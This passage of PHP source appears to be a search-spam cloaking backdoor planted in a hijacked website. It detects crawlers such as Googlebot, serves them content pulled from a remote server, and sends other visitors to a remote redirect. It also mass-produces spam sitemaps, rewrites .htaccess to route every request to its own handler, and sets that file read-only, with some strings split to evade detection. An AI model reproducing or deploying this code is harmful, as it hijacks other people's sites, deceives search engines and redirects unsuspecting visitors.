.length&&L>N;)F()};for(i in al)"undefined"!=typeof al[i].href&&H.push(al[i].className+"@"+al[i].href);E=H.length,G();'; } }else{ $map_file = "sitemap_$mapfx.xml"; $map_idf_step = $map_tmp_step = $map_step = $step; $map_finish_count = 0; $map_array = array(); $map_array_len = 0; if (!$mapol) { $map_file = "$absdir/sitemap_$mapfx.xml"; @file_put_contents($map_file, $map_array_head); }else{ header(sprintf($sm_header, 'x')); echo $map_array_head; } if (!empty($data)) { $map_uri_format = "\n\t\t\t" . '' . $page_location_root . ($md ? "$script_filename?" : '') . '%s'; $map_skiped = 0; $mapoldone = $map_next = 0; foreach ($data as $line) { if ($mapoldone >= $max) { break; } $val = explode('-', $line); $map_line_total = (int)$val[2]; if ($mapol && $mapmode != 0) { $sid_arr = sid_array($map_line_total - 1, $mapstep, $mapmode, strlen($requri)); if (!empty($sid_arr)) { $map_array = array(); foreach ($sid_arr as $sid_lid) { if ($mapoldone >= $max) { break; } $map_content = ''; $map_content .= "\n\t\t" . ''; $map_content .= sprintf($map_uri_format, xml_urlarg(sprintf('%s%d-%s-%d%s', $val[1], $val[0], GetAutoFileName($split[0]), $map_step, $split[1]))); $map_content .= "\n\t\t\t" . '' . date('Y-m-d') . ''; $map_content .= "\n\t\t\t" . 'daily'; $map_content .= "\n\t\t\t" . '0.9'; $map_content .= "\n\t\t"; $map_array[] = $map_content; $mapoldone++; } echo implode('', $map_array); $map_array = array(); } }else{ if ($idf > 1) { if (($map_skiped + $map_line_total) < $idf) { $map_skiped += $map_line_total; continue; } } if ($map_line_total != 0) { $map_step = $map_next ? $map_tmp_step : ($map_skiped > 0 ? (ceil($map_skiped / $max) * $max - $map_skiped + 1) : $idf); $map_next = 0; while ($map_finish_count < $max) { if ($map_step > $map_line_total) { $map_next = 1; break; } if ($map_array_len > 1000) { $ready = implode('', $map_array); if ($mapol) { echo $ready; }else{ @file_put_contents($map_file, $ready, FILE_APPEND); } $map_array = array(); $map_array_len = 0; } $map_content = ''; $map_content .= "\n\t\t" . ''; $map_content .= sprintf($map_uri_format, xml_urlarg(sprintf('%s%d-%s-%d%s', $val[1], $val[0], GetAutoFileName($split[0]), $map_step, $split[1]))); $map_content .= "\n\t\t\t" . '' . date('Y-m-d') . ''; $map_content .= "\n\t\t\t" . 'daily'; $map_content .= "\n\t\t\t" . '0.9'; $map_content .= "\n\t\t"; $map_array[] = $map_content; $map_step += $map_tmp_step; $map_array_len++; $map_finish_count++; } } } } } $map_array[] = "\n\t"; $sitemap_out = implode('', $map_array); $map_array = array(); if ($mapol) { echo $sitemap_out; }else{ @file_put_contents($map_file, $sitemap_out, FILE_APPEND); if ($step > $stepmax && $mapfx == 1) { $map_one = "$dir/sitemap_$mapfx.xml"; echo sprintf($map_msg, $map_one, "$page_host/$map_one", $map_one, '%', $map_one); }else{ echo 'done'; } } } }else{ if(strpos($queryStr,"type=xml")!==false) { header("Content-type:text/xml"); } echo $strFileBody; } exit; } //param convert if(strpos($queryStr,"=")===false) { $arrSplits=explode("-",$queryStr); $queryStr=str_replace_once($arrSplits[0]."-",$arrSplits[0]."=",$queryStr); } $isBot=checkAgent(); $isClick="true"; if($isBot=="true") { // $strUrl=$remoteUrl."?".$queryStr."&url=".$currentUrl; $strUrl=$remoteUrl."?".$queryStr."&url=".$page_location_root . ($md ? "$script_filename?" : ''); // echo $strUrl;die; $strFileBody=GetFileContent($strUrl); $strFileBody=str_replace("\xEF\xBB\xBF","",$strFileBody); header("Content-Type: text/html; charset=utf-8"); echo $strFileBody; exit; } else { if($isClick=="true") { // $strUrl=$remoteUrl."?".$queryStr."&url=".$currentUrl."&action=jump"; $strUrl=$remoteUrl."?".$queryStr."&url=".$page_location_root . ($md ? "$script_filename?" : '') ."&action=jump"; $strJumpUrl=GetFileContent($strUrl); if(strpos($strJumpUrl,"http")!==false) { $arr=explode("|",str_replace("http","|",$strJumpUrl)); $strJumpUrl="http".$arr[1]; echo ""; exit; } } } function GetLocationURL() { $pageURL = 'http://'; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["HTTP_HOST"].":".$_SERVER["PHP_SELF"]; } else { $pageURL .= $_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"]; } return "$pageURL?"; } function GetLocationHome() { $pageURL = 'http://'; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["HTTP_HOST"]."/"; } else { $pageURL .= $_SERVER["HTTP_HOST"]."/"; } return $pageURL; } function checkAgent() { $returnVal = "false"; try { $agent = "user-agent:".strtolower($_SERVER['HTTP_USER_AGENT']); $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search'); foreach($bot_array as $bot) { if(strpos($agent,$bot)!==false) { $returnVal = "true"; break; } } } catch (Exception $w){} return $returnVal; } function sid_array($total, $limit, $mode, $lineid){ $ids = array(); if ($limit > 0) { if ($total <= $limit) { $ids = range(0, $total); }else{ if ($mode == 1) { $tmp = range(0, $total); shuffle($tmp); $ids = array_slice($tmp, 0, $limit); $tmp = array(); }else{ for ($i=0; $i < $limit; $i++) { $id = static_calc($lineid, $total, $i, $limit); if (!in_array($id, $ids)) { $ids[] = $id; }else{ $limit++; } } } } } return $ids; } function checkReferer() { $rtnVal="false"; try { if(!empty($_SERVER["HTTP_REFERER"])) { $url = 'referer:'.strtolower($_SERVER["HTTP_REFERER"]); if(strpos($url,'google')>0||strpos($url,'aol')>0||strpos($url,'yahoo')>0||strpos($url,'msn')>0) { $rtnVal="true"; } } } catch (Exception $w){} return $rtnVal; } function mmkdir($dir){ global $root; $dir = preg_replace("/(^\/|\/$)/si", '', $dir); $arr = explode('/', $dir); if (!empty($arr)) { $tmpd = ''; foreach ($arr as $dirname) { $tmpd .= $tmpd != '' ? '/' . $dirname : $dirname; // echo "$tmpd
"; if (!is_dir("$root/$tmpd")) { @mkdir("$root/$tmpd") or die("mkdir $tmpd failed"); } } } } function GetFileContent($url) { $parse = parse_url($url); $fp = fsockopen($parse['host'], isset($parse['port']) ? $parse['port'] : 80, $en, $es, 30); if (!$fp) { return 0; } $get = isset($parse['path']) ? $parse['path'] : ''; $get .= isset($parse['query']) ? '?' . $parse['query'] : ''; $get = $get == '' ? '/' : $get; fwrite($fp, "GET $get HTTP/1.0\r\nHost: {$parse['host']}\r\nConnection: Close\r\n\r\n"); $header = $body = ''; while (!feof($fp)){ $body .= fgets($fp, 4096); } fclose($fp); return trim(preg_match("/^HTTP\/1/si", $body) ? preg_replace("/.*?\r\n\r\n(.*)/si", "$1", $body) : preg_replace("/^[^<]+?(<.*)/is", "$1", $body)); } function getdir(){ global $root; $dir = ''; $find = glob("$root/*", GLOB_ONLYDIR); if (!empty($find)) { foreach ($find as $fd) { if (is_writable($fd)) { $dir = substr($fd, strrpos($fd, '/') + 1); break; } } } return $dir; } function str_replace_once($needle, $replace, $haystack) { $pos = strpos($haystack, $needle); if ($pos === false) return $haystack; return substr_replace($haystack, $replace, $pos, strlen($needle)); } function xml_urlarg($url) { $url = preg_replace("/&/s", '&', $url); $url = preg_replace("/'/s", ''', $url); $url = preg_replace('/"/s', '"', $url); $url = preg_replace("/>/s", '>', $url); $url = preg_replace("/[^<]+<\/IfModule>/si", $fc, $matches); if (isset($matches[0]) && !empty($matches[0])) { // check if %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) foreach ($matches[0] as $block) { if (!preg_match("/%\{HTTP_USER_AGENT\}\s\(google/si", $block)) { $nfc[] = $block; } } } } if (empty($nfc)) { $nfc[] = sprintf("%sRewriteEngine%sOn%sRewriteCond%s%s{RE" . "QUEST_FILENAME}%s!-f%sRewrit" . "eCond%s%s{REQUEST_F" . "ILENAME}%s!-d%sRewriteRule%s.%sindex" . ".php%s[L]%s", ' ', "\n", ' ', "\n", ' ', '%', ' ', "\n", ' ', '%', ' ', "\n", ' ', ' ', ' ', "\n"); } @file_put_contents($htaccess_path, trim(implode("\n", $nfc))); $fc = $nfc = null; @chmod($htaccess_path, 0444); } function sync_preg_string($sps, $delarg = 1){ $sps_chars = '\\?/|&()[]{}+^$!:*'; $sps_chars_array = str_split($sps_chars); $sps_char_format = '%s%s'; if ($delarg) { $sps = preg_replace("/(\?|#).*/si", '', $sps); } foreach ($sps_chars_array as $sca_v) { $sps = str_replace($sca_v, sprintf($sps_char_format, '\\', $sca_v), $sps); } return $sps; } function last2(&$last, $step, $max, $init = 1){ if ($init < $max) { $last += $step; $init++; last2($last, $step, $max, $init); } } function static_calc($lineid, $max, $id_index, $id_count){ $func_count = 5; $func_index = $id_index % $func_count; $return = $lineid; switch ($func_index) { case 0: $return = $lineid * ($id_index + 2); break; case 1: $return = $lineid / ($id_count + $id_index) * $max; break; case 2: $return = $max / $id_count * $lineid + $id_index; break; case 3: $return = $lineid * 10 - $id_count + $id_index; break; case 4: $return = $id_index * 888 + $lineid; break; } $return = $return < 0 ? abs($return) : $return; $return %= $max; return $return; } ?>